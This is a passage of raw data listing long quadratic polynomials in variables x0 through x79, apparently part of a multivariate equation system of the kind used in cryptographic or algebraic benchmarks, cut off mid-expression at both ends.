+ x25*x51 + x25*x53 + x25*x54 + x25*x56 + x25*x60 + x25*x62 + x25*x64 + x25*x65 + x25*x66 + x25*x67 + x25*x69 + x25*x70 + x25*x73 + x25*x74 + x25*x75 + x25*x77 + x25*x78 + x26*x27 + x26*x29 + x26*x30 + x26*x33 + x26*x35 + x26*x36 + x26*x37 + x26*x38 + x26*x41 + x26*x43 + x26*x44 + x26*x45 + x26*x46 + x26*x47 + x26*x49 + x26*x50 + x26*x51 + x26*x53 + x26*x58 + x26*x60 + x26*x61 + x26*x63 + x26*x64 + x26*x65 + x26*x67 + x26*x69 + x26*x72 + x26*x75 + x26 + x27*x28 + x27*x32 + x27*x35 + x27*x36 + x27*x37 + x27*x39 + x27*x41 + x27*x47 + x27*x48 + x27*x49 + x27*x50 + x27*x52 + x27*x53 + x27*x55 + x27*x57 + x27*x59 + x27*x60 + x27*x62 + x27*x64 + x27*x65 + x27*x66 + x27*x69 + x27*x72 + x27*x73 + x27*x74 + x27*x75 + x27*x76 + x27*x77 + x27*x78 + x27*x79 + x27 + x28*x29 + x28*x30 + x28*x32 + x28*x34 + x28*x35 + x28*x38 + x28*x43 + x28*x45 + x28*x46 + x28*x47 + x28*x53 + x28*x54 + x28*x55 + x28*x56 + x28*x57 + x28*x64 + x28*x65 + x28*x68 + x28*x70 + x28*x72 + x28*x75 + x28*x79 + x29*x31 + x29*x34 + x29*x35 + x29*x36 + x29*x37 + x29*x40 + x29*x42 + x29*x45 + x29*x46 + x29*x47 + x29*x49 + x29*x50 + x29*x52 + x29*x55 + x29*x57 + x29*x58 + x29*x60 + x29*x61 + x29*x62 + x29*x64 + x29*x66 + x29*x77 + x29 + x30*x34 + x30*x37 + x30*x39 + x30*x42 + x30*x43 + x30*x46 + x30*x49 + x30*x52 + x30*x54 + x30*x55 + x30*x59 + x30*x60 + x30*x62 + x30*x64 + x30*x65 + x30*x66 + x30*x71 + x30*x72 + x30*x73 + x30*x74 + x30*x75 + x30*x76 + x30*x78 + x30*x79 + x30 + x31*x32 + x31*x34 + x31*x36 + x31*x37 + x31*x39 + x31*x40 + x31*x41 + x31*x43 + x31*x44 + x31*x45 + x31*x46 + x31*x47 + x31*x49 + x31*x51 + x31*x53 + x31*x56 + x31*x59 + x31*x61 + x31*x64 + x31*x65 + x31*x67 + x31*x69 + x31*x71 + x31*x74 + x31*x76 + x31*x77 + x31*x79 + x31 + x32*x33 + x32*x36 + x32*x40 + x32*x41 + x32*x42 + x32*x47 + x32*x48 + x32*x49 + x32*x50 + x32*x53 + x32*x55 + x32*x56 + x32*x57 + x32*x65 + x32*x66 + x32*x70 + x32*x71 + x32*x72 + x32*x75 + x32*x76 + x33*x35 + x33*x37 + x33*x39 + x33*x40 + x33*x41 + x33*x43 + x33*x47 + x33*x49 + x33*x56 + x33*x57 + x33*x58 + x33*x59 + x33*x61 + x33*x63 + x33*x64 + x33*x66 + x33*x68 + x33*x70 + x33*x72 + x33*x75 + x33*x76 + x33*x78 + x33*x79 + x34*x35 + x34*x36 + x34*x37 + x34*x39 + x34*x40 + x34*x42 + x34*x45 + x34*x46 + x34*x50 + x34*x51 + x34*x55 + x34*x57 + x34*x59 + x34*x61 + x34*x64 + x34*x67 + x34*x70 + x34*x75 + x34*x76 + x35*x36 + x35*x37 + x35*x41 + x35*x42 + x35*x43 + x35*x46 + x35*x47 + x35*x48 + x35*x49 + x35*x50 + x35*x51 + x35*x53 + x35*x55 + x35*x56 + x35*x60 + x35*x63 + x35*x64 + x35*x65 + x35*x68 + x35*x70 + x35*x72 + x35*x73 + x35*x74 + x35*x75 + x35*x76 + x35*x78 + x35*x79 + x35 + x36*x37 + x36*x39 + x36*x40 + x36*x42 + x36*x44 + x36*x46 + x36*x47 + x36*x48 + x36*x49 + x36*x51 + x36*x52 + x36*x55 + x36*x57 + x36*x58 + x36*x60 + x36*x62 + x36*x65 + x36*x67 + x36*x69 + x36*x70 + x36*x71 + x36*x74 + x36*x75 + x36*x76 + x36*x77 + x36*x78 + x36 + x37*x39 + x37*x42 + x37*x43 + x37*x45 + x37*x47 + x37*x49 + x37*x50 + x37*x51 + x37*x52 + x37*x53 + x37*x55 + x37*x56 + x37*x57 + x37*x60 + x37*x61 + x37*x62 + x37*x64 + x37*x65 + x37*x67 + x37*x68 + x37*x69 + x37*x70 + x37*x71 + x37*x72 + x37*x76 + x37*x78 + x37 + x38*x42 + x38*x43 + x38*x44 + x38*x48 + x38*x50 + x38*x53 + x38*x55 + x38*x58 + x38*x60 + x38*x61 + x38*x68 + x38*x70 + x38*x74 + x38*x75 + x38*x77 + x38*x78 + x38 + x39*x40 + x39*x42 + x39*x43 + x39*x44 + x39*x45 + x39*x46 + x39*x47 + x39*x51 + x39*x58 + x39*x59 + x39*x61 + x39*x62 + x39*x63 + x39*x64 + x39*x66 + x39*x67 + x39*x69 + x39*x70 + x39*x71 + x39*x72 + x39*x73 + x39*x79 + x39 + x40*x41 + x40*x42 + x40*x43 + x40*x45 + x40*x47 + x40*x48 + x40*x49 + x40*x50 + x40*x51 + x40*x54 + x40*x59 + x40*x61 + x40*x62 + x40*x64 + x40*x67 + x40*x70 + x40*x73 + x40*x74 + x40*x76 + x40*x78 + x40*x79 + x41*x43 + x41*x44 + x41*x45 + x41*x48 + x41*x50 + x41*x51 + x41*x52 + x41*x53 + x41*x55 + x41*x59 + x41*x60 + x41*x68 + x41*x69 + x41*x70 + x41*x72 + x41*x76 + x41*x78 + x41 + x42*x47 + x42*x49 + x42*x50 + x42*x51 + x42*x53 + x42*x57 + x42*x63 + x42*x65 + x42*x66 + x42*x70 + x42*x71 + x42*x75 + x42*x77 + x42*x78 + x42*x79 + x42 + x43*x44 + x43*x45 + x43*x47 + x43*x48 + x43*x49 + x43*x50 + x43*x52 + x43*x53 + x43*x56 + x43*x58 + x43*x59 + x43*x60 + x43*x61 + x43*x63 + x43*x67 + x43*x68 + x43*x70 + x43*x71 + x43*x72 + x43*x73 + x43*x76 + x43*x77 + x43*x78 + x44*x45 + x44*x46 + x44*x47 + x44*x48 + x44*x49 + x44*x50 + x44*x53 + x44*x61 + x44*x62 + x44*x65 + x44*x68 + x44*x69 + x44*x71 + x44*x72 + x44*x73 + x44*x74 + x44*x76 + x44*x78 + x44*x79 + x44 + x45*x47 + x45*x48 + x45*x52 + x45*x58 + x45*x59 + x45*x60 + x45*x61 + x45*x63 + x45*x64 + x45*x65 + x45*x66 + x45*x69 + x45*x72 + x45*x75 + x45*x77 + x45*x79 + x46*x47 + x46*x48 + x46*x50 + x46*x53 + x46*x54 + x46*x56 + x46*x57 + x46*x58 + x46*x60 + x46*x62 + x46*x63 + x46*x64 + x46*x66 + x46*x69 + x46*x71 + x46*x73 + x46*x76 + x46*x77 + x46*x78 + x46 + x47*x48 + x47*x52 + x47*x54 + x47*x55 + x47*x57 + x47*x58 + x47*x59 + x47*x60 + x47*x61 + x47*x62 + x47*x63 + x47*x64 + x47*x66 + x47*x67 + x47*x71 + x47*x75 + x47*x78 + x48*x49 + x48*x52 + x48*x55 + x48*x57 + x48*x60 + x48*x62 + x48*x64 + x48*x66 + x48*x70 + x48*x71 + x48*x73 + x48*x75 + x48*x76 + x48*x77 + x48*x79 + x49*x50 + x49*x51 + x49*x53 + x49*x55 + x49*x57 + x49*x58 + x49*x66 + x49*x67 + x49*x68 + x49*x70 + x49*x73 + x49*x76 + x49*x79 + x50*x51 + x50*x52 + x50*x53 + x50*x55 + x50*x57 + x50*x59 + x50*x61 + x50*x62 + x50*x66 + x50*x67 + x50*x69 + x50*x70 + x50*x71 + x50*x72 + x50*x73 + x50*x74 + x50*x75 + x50*x76 + x50*x77 + x50*x78 + x51*x52 + x51*x53 + x51*x54 + x51*x60 + x51*x61 + x51*x63 + x51*x64 + x51*x65 + x51*x68 + x51*x69 + x51*x70 + x51*x74 + x51*x75 + x51*x76 + x51*x77 + x51 + x52*x56 + x52*x59 + x52*x60 + x52*x61 + x52*x62 + x52*x64 + x52*x70 + x52*x71 + x52*x75 + x52*x76 + x52 + x53*x54 + x53*x57 + x53*x60 + x53*x61 + x53*x63 + x53*x64 + x53*x66 + x53*x67 + x53*x68 + x53*x70 + x53*x71 + x53*x72 + x53*x73 + x53*x74 + x53*x75 + x53*x79 + x53 + x54*x57 + x54*x60 + x54*x61 + x54*x62 + x54*x63 + x54*x64 + x54*x69 + x54*x70 + x54*x71 + x54*x72 + x54*x73 + x54*x76 + x54*x77 + x54 + x55*x57 + x55*x60 + x55*x61 + x55*x62 + x55*x66 + x55*x67 + x55*x68 + x55*x69 + x55*x70 + x55*x73 + x55*x78 + x55*x79 + x55 + x56*x63 + x56*x64 + x56*x65 + x56*x68 + x56*x69 + x56*x71 + x56*x73 + x56*x74 + x56*x76 + x56*x77 + x56*x78 + x56*x79 + x56 + x57*x58 + x57*x59 + x57*x60 + x57*x62 + x57*x64 + x57*x73 + x57*x74 + x57*x75 + x57*x76 + x58*x66 + x58*x70 + x58*x73 + x58*x76 + x58*x79 + x58 + x59*x63 + x59*x67 + x59*x68 + x59*x69 + x59*x71 + x59*x72 + x59*x73 + x59*x75 + x59*x76 + x59*x77 + x59*x78 + x59*x79 + x59 + x60*x64 + x60*x65 + x60*x67 + x60*x68 + x60*x69 + x60*x71 + x60*x73 + x60*x76 + x60*x77 + x60*x79 + x61*x62 + x61*x63 + x61*x68 + x61*x70 + x61*x71 + x61*x73 + x61*x76 + x61*x77 + x61*x79 + x62*x63 + x62*x64 + x62*x66 + x62*x69 + x62*x71 + x62*x72 + x62*x74 + x62*x79 + x63*x69 + x63*x77 + x63*x78 + x64*x65 + x64*x66 + x64*x67 + x64*x72 + x64*x73 + x64*x75 + x65*x67 + x65*x69 + x65*x70 + x65*x72 + x65*x74 + x65*x77 + x65*x78 + x65*x79 + x65 + x66*x75 + x66*x76 + x66*x77 + x66*x78 + x67*x68 + x67*x70 + x67*x73 + x67*x74 + x67*x76 + x67*x78 + x67*x79 + x68*x69 + x68*x73 + x68*x76 + x69*x72 + x69*x74 + x69*x75 + x69*x77 + x69 + x70*x71 + x70*x73 + x70*x74 + x70*x75 + x70*x78 + x70*x79 + x71*x72 + x71*x75 + x71*x77 + x72*x74 + x72*x76 + x72*x77 + x72*x78 + x72*x79 + x72 + x73*x74 + x73*x75 + x73*x76 + x73*x77 + x73*x78 + x73 + x74*x76 + x74*x78 + x75*x76 + x75*x77 + x75*x79 + x76*x78 + x76 + x77*x78 + x77 + x78 + 1, x0*x1 + x0*x2 + x0*x5 + x0*x6 + x0*x9 + x0*x12 + x0*x13 + x0*x15 + x0*x16 + x0*x17 + x0*x22 + x0*x25 + x0*x41 + x0*x42 + x0*x48 + x0*x49 + x0*x51 + x0*x52 + x0*x53 + x0*x54 + x0*x56 + x0*x57 + x0*x58 + x0*x63 + x0*x64 + x0*x65 + x0*x66 + x0*x67 + x0*x69 + x0*x70 + x0*x71 + x0*x72 + x0*x75 + x0*x77 + x0*x78 + x1*x2 + x1*x4 + x1*x6 + x1*x8 + x1*x9 + x1*x11 + x1*x12 + x1*x13 + x1*x16 + x1*x18 + x1*x22 + x1*x23 + x1*x24 + x1*x25 + x1*x29 + x1*x30 + x1*x31 + x1*x32 + x1*x35 + x1*x38 + x1*x40 + x1*x42 + x1*x43 + x1*x46 + x1*x47 + x1*x49 + x1*x50 + x1*x53 + x1*x54 + x1*x56 + x1*x57 + x1*x58 + x1*x59 + x1*x60 + x1*x62 + x1*x64 + x1*x65 + x1*x67 + x1*x71 + x1*x73 + x1*x75 + x1*x76 + x1*x78 + x1*x79 + x1 + x2*x3 + x2*x5 + x2*x6 + x2*x7 + x2*x8 + x2*x13 + x2*x15 + x2*x16 + x2*x18 + x2*x19 + x2*x20 + x2*x21 + x2*x22 + x2*x23 + x2*x27 + x2*x30 + x2*x31 + x2*x33 + x2*x41 + x2*x42 + x2*x43 + x2*x44 + x2*x46 + x2*x47 + x2*x48 + x2*x51 + x2*x54 + x2*x55 + x2*x56 + x2*x57 + x2*x58 + x2*x59 + x2*x60 + x2*x61 + x2*x62 + x2*x63 + x2*x64 + x2*x65 + x2*x67 + x2*x70 + x2*x73 + x2*x75 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x2 + x3*x4 + x3*x6 + x3*x7 + x3*x10 + x3*x13 + x3*x14 + x3*x16 + x3*x17 + x3*x21 + x3*x24 + x3*x26 + x3*x30 + x3*x31 + x3*x32 + x3*x37 + x3*x41 + x3*x42 + x3*x43 + x3*x47 + x3*x48 + x3*x50 + x3*x54 + x3*x56 + x3*x57 + x3*x58 + x3*x59 + x3*x63 + x3*x64 + x3*x68 + x3*x69 + x3*x71 + x3*x72 + x3*x73 + x3*x76 + x3*x78 + x3 + x4*x6 + x4*x8 + x4*x9 + x4*x10 + x4*x12 + x4*x13 + x4*x19 + x4*x22 + x4*x23 + x4*x25 + x4*x26 + x4*x27 + x4*x29 + x4*x31 + x4*x33 + x4*x35 + x4*x37 + x4*x38 + x4*x39 + x4*x45 + x4*x46 + x4*x48 + x4*x49 + x4*x51 + x4*x52 + x4*x53 + x4*x55 + x4*x56 + x4*x59 + x4*x61 + x4*x66 + x4*x67 + x4*x69 + x4*x70 + x4*x72 + x4*x73 + x4*x75 + x4*x79 + x4 + x5*x7 + x5*x8 + x5*x9 + x5*x11 + x5*x14 + x5*x19 + x5*x20 + x5*x23 + x5*x25 + x5*x28 + x5*x32 + x5*x36 + x5*x40 + x5*x41 + x5*x42 + x5*x44 + x5*x49 + x5*x50 + x5*x51 + x5*x55 + x5*x56 + x5*x59 + x5*x62 + x5*x64 + x5*x66 + x5*x68 + x5*x70 + x5*x71 + x5*x73 + x5*x75 + x5*x76 + x5*x77 + x5*x78 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x9 + x6*x10 + x6*x13 + x6*x15 + x6*x16 + x6*x18 + x6*x22 + x6*x25 + x6*x32 + x6*x33 + x6*x36 + x6*x37 + x6*x39 + x6*x41 + x6*x47 + x6*x48 + x6*x49 + x6*x50 + x6*x56 + x6*x57 + x6*x62 + x6*x63 + x6*x65 + x6*x68 + x6*x69 + x6*x71 + x6*x75 + x6*x77 + x6*x78 + x7*x8 + x7*x10 + x7*x12 + x7*x16 + x7*x17 + x7*x18 + x7*x22 + x7*x25 + x7*x26 + x7*x27 + x7*x28 + x7*x32 + x7*x33 + x7*x35 + x7*x37 + x7*x41 + x7*x42 + x7*x45 + x7*x47 + x7*x49 + x7*x50 + x7*x53 + x7*x55 + x7*x57 + x7*x61 + x7*x62 + x7*x67 + x7*x71 + x7*x77 + x7*x78 + x8*x9 + x8*x12 + x8*x16 + x8*x17 + x8*x19 + x8*x20 + x8*x21 + x8*x22 + x8*x25 + x8*x28 + x8*x29 + x8*x36 + x8*x37 + x8*x41 + x8*x43 + x8*x45 + x8*x46 + x8*x48 + x8*x49 + x8*x50 + x8*x51 + x8*x52 + x8*x53 + x8*x54 + x8*x59 + x8*x60 + x8*x62 + x8*x65 + x8*x67 + x8*x68 + x8*x70 + x8*x72 + x8*x73 + x8*x75 + x8*x77 + x8*x78 + x9*x13 + x9*x16 + x9*x17 + x9*x18 + x9*x19 + x9*x20 + x9*x23 + x9*x24 + x9*x27 + x9*x29 + x9*x30 + x9*x33 + x9*x36 + x9*x38 + x9*x39 + x9*x40 + x9*x43 + x9*x45 + x9*x48 + x9*x52 + x9*x53 + x9*x55 + x9*x57 + x9*x58 + x9*x59 + x9*x61 + x9*x62 + x9*x63 + x9*x64 + x9*x66 + x9*x67 + x9*x68 + x9*x69 + x9*x73 + x9*x74 + x9*x75 + x9*x78 + x9 + x10*x11 + x10*x16 + x10*x18 + x10*x20 + x10*x22 + x10*x23 + x10*x32 + x10*x36 + x10*x37 + x10*x39 + x10*x44 + x10*x45 + x10*x46 + x10*x47 + x10*x50 + x10*x51 + x10*x55 + x10*x57 + x10*x59 + x10*x60 + x10*x63 + x10*x65 + x10*x66 + x10*x67 + x10*x69 + x10*x72 + x10*x73 + x10*x77 + x10*x78 + x11*x12 + x11*x14 + x11*x15 + x11*x17 + x11*x18 + x11*x22 + x11*x25 + x11*x27 + x11*x28 + x11*x30 + x11*x33 + x11*x37 + x11*x39 + x11*x40 + x11*x41 + x11*x42 + x11*x43 + x11*x47 + x11*x48 + x11*x50 + x11*x51 + x11*x56 + x11*x57 + x11*x59 + x11*x61 + x11*x63 + x11*x64 + x11*x65 + x11*x66 + x11*x69 + x11*x71 + x11*x72 + x11*x73 + x11*x74 + x11*x76 + x11*x77 + x11*x78 + x11 + x12*x13 + x12*x15 + x12*x18 + x12*x19 + x12*x20 + x12*x21 + x12*x22 + x12*x23 + x12*x26 + x12*x28 + x12*x29 + x12*x30 + x12*x31 + x12*x32 + x12*x33 + x12*x35 + x12*x37 + x12*x39 + x12*x40 + x12*x41 + x12*x42 + x12*x46 + x12*x47 + x12*x49 + x12*x52 + x12*x53 + x12*x54 + x12*x55 + x12*x61 + x12*x62 + x12*x64 + x12*x66 + x12*x67 + x12*x68 + x12*x69 + x12*x70 + x12*x73 + x12*x76 + x12*x78 + x12*x79 + x12 + x13*x14 + x13*x17 + x13*x19 + x13*x22 + x13*x23 + x13*x24 + x13*x25 + x13*x33 + x13*x34 + x13*x38 + x13*x39 + x13*x41 + x13*x45 + x13*x47 + x13*x49 + x13*x54 + x13*x55 + x13*x56 + x13*x57 + x13*x58 + x13*x66 + x13*x67 + x13*x68 + x13*x69 + x13*x70 + x13*x74 + x13*x76 + x13*x77 + x13*x79 + x13 + x14*x15 + x14*x16 + x14*x18 + x14*x20 + x14*x22 + x14*x23 + x14*x28 + x14*x29 + x14*x30 + x14*x31 + x14*x33 + x14*x35 + x14*x37 + x14*x39 + x14*x40 + x14*x45 + x14*x46 + x14*x48 + x14*x49 + x14*x56 + x14*x57 + x14*x60 + x14*x61 + x14*x62 + x14*x64 + x14*x66 + x14*x67 + x14*x71 + x14*x72 + x14*x78 + x14*x79 + x14 + x15*x16 + x15*x17 + x15*x19 + x15*x25 + x15*x26 + x15*x28 + x15*x31 + x15*x32 + x15*x34 + x15*x36 + x15*x37 + x15*x38 + x15*x39 + x15*x41 + x15*x43 + x15*x46 + x15*x49 + x15*x50 + x15*x51 + x15*x55 + x15*x57 + x15*x58 + x15*x64 + x15*x68 + x15*x69 + x15*x71 + x15*x72 + x15*x77 + x15*x78 + x16*x18 + x16*x24 + x16*x26 + x16*x27 + x16*x31 + x16*x33 + x16*x35 + x16*x43 + x16*x47 + x16*x55 + x16*x56 + x16*x62 + x16*x63 + x16*x64 + x16*x66 + x16*x67 + x16*x69 + x16*x73 + x16*x75 + x16*x76 + x16 + x17*x18 + x17*x21 + x17*x23 + x17*x25 + x17*x26 + x17*x28 + x17*x29 + x17*x30 + x17*x32 + x17*x35 + x17*x37 + x17*x39 + x17*x46 + x17*x47 + x17*x50 + x17*x51 + x17*x56 + x17*x57 + x17*x58 + x17*x59 + x17*x60 + x17*x62 + x17*x63 + x17*x66 + x17*x67 + x17*x69 + x17*x70 + x17*x72 + x17*x77 + x17*x78 + x18*x19 + x18*x20 + x18*x21 + x18*x22 + x18*x24 + x18*x25 + x18*x26 + x18*x29 + x18*x32 + x18*x34 + x18*x35 + x18*x36 + x18*x39 + x18*x40 + x18*x41 + x18*x43 + x18*x44 + x18*x46 + x18*x49 + x18*x52 + x18*x53 + x18*x59 + x18*x61 + x18*x62 + x18*x64 + x18*x65 + x18*x66 + x18*x68 + x18*x70 + x18*x71 + x18*x73 + x18*x74 + x18*x75 + x18*x76 + x19*x23 + x19*x27 + x19*x32 + x19*x33 + x19*x34 + x19*x35 + x19*x36 + x19*x40 + x19*x41 + x19*x43 + x19*x45 + x19*x51 + x19*x52 + x19*x53 + x19*x57 + x19*x58 + x19*x59 + x19*x60 + x19*x61 + x19*x64 + x19*x65 + x19*x66 + x19*x67 + x19*x71 + x19*x72 + x19*x74 + x19*x76 + x19*x77 + x19*x79 + x20*x23 + x20*x24 + x20*x27 + x20*x28 + x20*x30 + x20*x31 + x20*x34 + x20*x39 + x20*x41 + x20*x42 + x20*x43 + x20*x47 + x20*x51 + x20*x52 + x20*x53 + x20*x55 + x20*x57 + x20*x58 + x20*x60 + x20*x63 + x20*x64 + x20*x65 + x20*x66 + x20*x68 + x20*x69 + x20*x71 + x20*x75 + x20*x77 + x21*x22 + x21*x25 + x21*x28 + x21*x34 + x21*x35 + x21*x36 + x21*x38 + x21*x40 + x21*x41 + x21*x43 + x21*x47 + x21*x48 + x21*x51 + x21*x52 + x21*x54 + x21*x55 + x21*x58 + x21*x59 + x21*x60 + x21*x61 + x21*x62 + x21*x63 + x21*x65 + x21*x67 + x21*x69 + x21*x70 + x21*x72 + x21*x73 + x21*x74 + x21*x75 + x21*x76 + x21*x77 + x21*x79 + x21 + x22*x24 + x22*x27 + x22*x28 + x22*x32 + x22*x34 + x22*x35 + x22*x36 + x22*x37 + x22*x39 + x22*x41 + x22*x43 + x22*x45 + x22*x47 + x22*x49 + x22*x50 + x22*x51 + x22*x53 + x22*x55 + x22*x56 + x22*x61 + x22*x62 + x22*x63 + x22*x66 + x22*x67 + x22*x68 + x22*x70 + x22*x71 + x22*x72 + x22*x73 + x22*x75 + x22*x76 + x22*x77 + x22*x79 + x23*x24 + x23*x25 + x23*x26 + x23*x27 + x23*x28 + x23*x29 + x23*x30 + x23*x31 + x23*x32 + x23*x34 + x23*x37 + x23*x39 + x23*x41 + x23*x43 + x23*x44 + x23*x45 + x23*x46 + x23*x48 + x23*x49 + x23*x50 + x23*x52 + x23*x55 + x23*x57 + x23*x58 + x23*x59 + x23*x60 + x23*x61 + x23*x62 + x23*x64 + x23*x65 + x23*x66 + x23*x67 + x23*x68 + x23*x69 + x23*x71 + x23*x72 + x23*x73 + x23*x74 + x23*x75 + x24*x25 + x24*x28 + x24*x31 + x24*x33 + x24*x36 + x24*x37 + x24*x44 + x24*x48 + x24*x50 + x24*x51 + x24*x54 + x24*x55 + x24*x57 + x24*x60 + x24*x61 + x24*x63 + x24*x65 + x24*x66 + x24*x67 + x24*x70 + x24*x71 + x24*x72 + x24*x73 + x24*x76 + x24*x77 + x24*x78 + x24 + x25*x26 + x25*x29 + x25*x30 + x25*x33 + x25*x34 + x25*x36 + x25*x39 + x25*x40 + x25*x42 + x25*x44 + x25*x45 + x25*x46 + x25*x47 + x25*x48 + x25*x51 + x25*x52 + x25*x62 + x25*x63 + x25*x66 + x25*x71 + x25*x73 + x25*x74 + x25*x79 + x25 + x26*x27 + x26*x30 + x26*x34 + x26*x35 + x26*x36 + x26*x38 + x26*x39 + x26*x40 + x26*x41 + x26*x45 + x26*x46 + x26*x48 + x26*x50 + x26*x51 + x26*x52 + x26*x53 + x26*x55 + x26*x57 + x26*x64 + x26*x69 + x26*x70 + x26*x71 + x26*x75 + x26*x76 + x26*x77 + x26*x78 + x26 + x27*x28 + x27*x33 + x27*x34 + x27*x35 + x27*x40 + x27*x41 + x27*x42 + x27*x43 + x27*x45 + x27*x46 + x27*x48 + x27*x50 + x27*x51 + x27*x52 + x27*x59 + x27*x60 + x27*x61 + x27*x63 + x27*x66 + x27*x69 + x27*x70 + x27*x71 + x27*x73 + x27*x74 + x27*x75 + x27*x77 + x27*x78 + x28*x30 + x28*x34 + x28*x35 + x28*x36 + x28*x44 + x28*x47 + x28*x48 + x28*x50 + x28*x55 + x28*x57 + x28*x58 + x28*x59 + x28*x60 + x28*x62 + x28*x67 + x28*x73 + x29*x30 + x29*x32 + x29*x34 + x29*x36 + x29*x37 + x29*x38 + x29*x39 + x29*x41 + x29*x42 + x29*x43 + x29*x48 + x29*x49 + x29*x50 + x29*x51 + x29*x52 + x29*x53 + x29*x55 + x29*x57 + x29*x59 + x29*x61 + x29*x64 + x29*x67 + x29*x68 + x29*x69 + x29*x79 + x29 + x30*x31 + x30*x33 + x30*x37 + x30*x38 + x30*x40 + x30*x43 + x30*x44 + x30*x46 + x30*x47 + x30*x48 + x30*x49 + x30*x50 + x30*x51 + x30*x52 + x30*x53 + x30*x54 + x30*x56 + x30*x57 + x30*x62 + x30*x64 + x30*x65 + x30*x68 + x30*x69 + x30*x75 + x30*x77 + x30*x78 + x30 + x31*x33 + x31*x38 + x31*x40 + x31*x41 + x31*x42 + x31*x44 + x31*x47 + x31*x50 + x31*x52 + x31*x53 + x31*x54 + x31*x55 + x31*x56 + x31*x57 + x31*x61 + x31*x62 + x31*x66 + x31*x67 + x31*x70 + x31*x73 + x31*x77 + x31*x78 + x31*x79 + x32*x33 + x32*x34 + x32*x35 + x32*x36 + x32*x37 + x32*x39 + x32*x43 + x32*x47 + x32*x50 + x32*x51 + x32*x52 + x32*x55 + x32*x57 + x32*x58 + x32*x60 + x32*x64 + x32*x65 + x32*x68 + x32*x74 + x32*x79 + x33*x35 + x33*x36 + x33*x37 + x33*x38 + x33*x42 + x33*x43 + x33*x45 + x33*x46 + x33*x49 + x33*x50 + x33*x52 + x33*x53 + x33*x57 + x33*x58 + x33*x62 + x33*x68 + x33*x70 + x33*x72 + x33*x73 + x33*x76 + x33*x77 + x33*x78 + x33*x79 + x33 + x34*x37 + x34*x38 + x34*x40 + x34*x43 + x34*x44 + x34*x45 + x34*x46 + x34*x50 + x34*x51 + x34*x56 + x34*x59 + x34*x60 + x34*x61 + x34*x64 + x34*x68 + x34*x72 + x34*x74 + x34*x77 + x35*x36 + x35*x40 + x35*x45 + x35*x46 + x35*x47 + x35*x51 + x35*x54 + x35*x55 + x35*x56 + x35*x57 + x35*x61 + x35*x65 + x35*x66 + x35*x67 + x35*x68 + x35*x70 + x35*x71 + x35*x72 + x35*x74 + x35*x78 + x35*x79 + x36*x44 + x36*x45 + x36*x46 + x36*x48 + x36*x50 + x36*x52 + x36*x55 + x36*x56 + x36*x57 + x36*x59 + x36*x62 + x36*x63 + x36*x66 + x36*x67 + x36*x69 + x36*x71 + x36*x72 + x36*x73 + x36*x74 + x36 + x37*x38 + x37*x39 + x37*x41 + x37*x42 + x37*x46 + x37*x50 + x37*x52 + x37*x53 + x37*x54 + x37*x55 + x37*x56 + x37*x57 + x37*x58 + x37*x62 + x37*x63 + x37*x64 + x37*x65 + x37*x66 + x37*x69 + x37*x70 + x37*x71 + x37*x72 + x37*x73 + x37*x75 + x37*x77 + x38*x39 + x38*x42 + x38*x45 + x38*x46 + x38*x48 + x38*x49 + x38*x50 + x38*x51 + x38*x52 + x38*x54 + x38*x55 + x38*x58 + x38*x62 + x38*x64 + x38*x65 + x38*x66 + x38*x67 + x38*x69 + x38*x70 + x38*x72 + x38*x73 + x38*x74 + x38*x75 + x38*x76 + x38*x79 + x38 + x39*x41 + x39*x46 + x39*x47 + x39*x49 + x39*x52 + x39*x55 + x39*x61 + x39*x63 + x39*x64 + x39*x65 + x39*x66 + x39*x70 + x39*x71 + x39*x74 + x39*x77 + x39*x79 + x40*x41 + x40*x42 + x40*x43 + x40*x44 + x40*x46 + x40*x47 + x40*x48 + x40*x49 + x40*x50 + x40*x52 + x40*x53 + x40*x56 + x40*x57 + x40*x58 + x40*x59 + x40*x60 + x40*x63 + x40*x66 + x40*x72 + x40*x79 + x41*x44 + x41*x49 + x41*x50 + x41*x53 + x41*x54 + x41*x55 + x41*x58 + x41*x60 + x41*x61 + x41*x62 + x41*x63 + x41*x64 + x41*x65 + x41*x70 + x41*x72 + x41*x73 + x41*x74 + x41*x76 + x41*x78 + x41*x79 + x41 + x42*x45 + x42*x47 + x42*x49 + x42*x50 + x42*x51 + x42*x52 + x42*x53 + x42*x54 + x42*x57 + x42*x61 + x42*x64 + x42*x65 + x42*x66 + x42*x67 + x42*x68 + x42*x69 + x42*x70 + x42*x72 + x42*x73 + x42*x74 + x42*x75 + x42*x77 + x42*x78 + x42 + x43*x44 + x43*x45 + x43*x48 + x43*x49 + x43*x51 + x43*x52 + x43*x55 + x43*x56 + x43*x66 + x43*x67 + x43*x68 + x43*x71 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x44*x45 + x44*x47 + x44*x49 + x44*x50 + x44*x52 + x44*x54 + x44*x55 + x44*x59 + x44*x61 + x44*x62 + x44*x64 + x44*x66 + x44*x67 + x44*x69 + x44*x70 + x44*x73 + x44*x75 + x44*x77 + x44*x78 + x44 + x45*x46 + x45*x47 + x45*x49 + x45*x50 + x45*x53 + x45*x54 + x45*x56 + x45*x57 + x45*x60 + x45*x62 + x45*x67 + x45*x68 + x45*x71 + x45*x72 + x45*x74 + x45*x75 + x45*x77 + x46*x47 + x46*x48 + x46*x50 + x46*x53 + x46*x55 + x46*x56 + x46*x62 + x46*x63 + x46*x65 + x46*x66 + x46*x67 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x74 + x46*x75 + x46*x76 + x46*x78 + x46*x79 + x46 + x47*x48 + x47*x52 + x47*x53 + x47*x55 + x47*x58 + x47*x59 + x47*x64 + x47*x65 + x47*x66 + x47*x69 + x47*x71 + x47*x73 + x47*x74 + x47*x77 + x48*x49 + x48*x51 + x48*x52 + x48*x55 + x48*x57 + x48*x58 + x48*x61 + x48*x62 + x48*x67 + x48*x70 + x48*x72 + x48*x78 + x48*x79 + x49*x50 + x49*x53 + x49*x54 + x49*x58 + x49*x61 + x49*x65 + x49*x66 + x49*x67 + x49*x72 + x49*x73 + x49*x74 + x49*x75 + x49*x76 + x49*x77 + x50*x51 + x50*x52 + x50*x55 + x50*x60 + x50*x63 + x50*x66 + x50*x67 + x50*x68 + x50*x70 + x50*x71 + x50*x72 + x50*x78 + x51*x52 + x51*x53 + x51*x55 + x51*x57 + x51*x60 + x51*x61 + x51*x67 + x51*x69 + x51*x70 + x51*x72 + x51*x74 + x51*x75 + x51*x76 + x51*x77 + x51 + x52*x55 + x52*x58 + x52*x59 + x52*x62 + x52*x63 + x52*x69 + x52*x76 + 